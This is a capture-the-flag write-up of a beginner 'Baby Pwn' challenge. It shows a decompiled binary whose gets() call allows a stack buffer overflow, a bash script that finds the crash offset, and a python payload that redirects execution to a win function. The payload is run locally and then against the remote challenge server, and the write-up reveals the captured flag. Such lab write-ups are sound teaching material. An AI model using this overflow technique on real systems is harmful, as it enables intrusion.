Baby Pwn is a pwn challenge that was part of the 2022 Jade CTF. We were only given a binary that could print our user input. The goal was to call a function that would print the flag.

File

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
for GNU/Linux 2.6.32, 
BuildID[sha1]=9102a90681079c7c798825becb1be0a1851ff292, not stripped

Disassembly

To see what the binary does, we can use Binary Ninja to disassemble the binary.

int32_t main(int32_t argc, char** argv, char** envp) {
    setvbuf(stdout, nullptr, 2, 0);
    setvbuf(stdin, nullptr, 1, 0);
    start_program();
    return 0;
}

The main function is pretty simple, it sets the stdout and stdin buffer to unbuffered and then calls the start_program function.

int64_t start_program() {
    puts("Enter your name:");
    void var_208;
    gets(&var_208);
    return printf("Hello %s, welcome to jadeCTF!\n", &var_208);
}

The start_program function prints a message, reads the user input, and then prints it back.

We also have a win function that prints the flag. But it is never called.

int64_t win() {
    puts("Nice job :)");
    FILE* rax = fopen("flag.txt", &data_4008e4);
    if (rax != 0) {
        void var_78;
        fgets(&var_78, 0x64, rax);
        return printf("Here is your flag: %s\n", &var_78);
    }
    puts("Sorry, flag doesn't exist.");
    exit(0);
    /* no return */
}

Vulnerability

The gets function is vulnerable to a buffer overflow. We can overwrite the return address and call the win function.

Execution of the exploit

Find the input length that creates a segmentation fault.

#!/bin/bash
for i in {1..2000}
do
    str=$(printf "%0.sA" $(seq 1 $i))
    echo $str | ./chall > /dev/null
    if [[ $? != 0 ]]
    then
        echo "Found it: $i"
        exit
    fi
done

Output:

$ ./findMax.sh 
./findMax.sh: line 2: 38365 Done                    echo $str
     38366 Segmentation fault      (core dumped) | ./chall > /dev/null
Found it: 520

Find the address of the win function using objdump.

$ objdump -d ./chall | grep win
0000000000400746 <win>:
  400770:	75 14                	jne    400786 <win+0x40>

Now we can create the input that overwrites the return address and calls the win function.

python -c 'print("p2o-" * (520 // 4) + "\x46\x07\x40")'

Local execution:

$ python -c 'print("p2o-" * (520 // 4) + "\x46\x07\x40")' | ./chall 
@")' | ./challEnter your name:
Hello p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-F@, welcome to jadeCTF!
Nice job :)
Sorry, flag doesn't exist.

Remote execution:

$ python -c 'print("p2o-" * (520 // 4) + "\x46\x07\x40")' | 
nc 34.76.206.46 10002
@")' | nc 34.76.206.46 10002Enter your name:
Hello p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-p2o-
p2o-p2o-p2o-p2o-p2o-p2o-F@, welcome to jadeCTF!
Nice job :)
Here is your flag: jadeCTF{buff3r_0v3rfl0ws_4r3_d4ng3r0u5}

Flag

The flag is “jadeCTF{buff3r_0v3rfl0ws_4r3_d4ng3r0u5}”.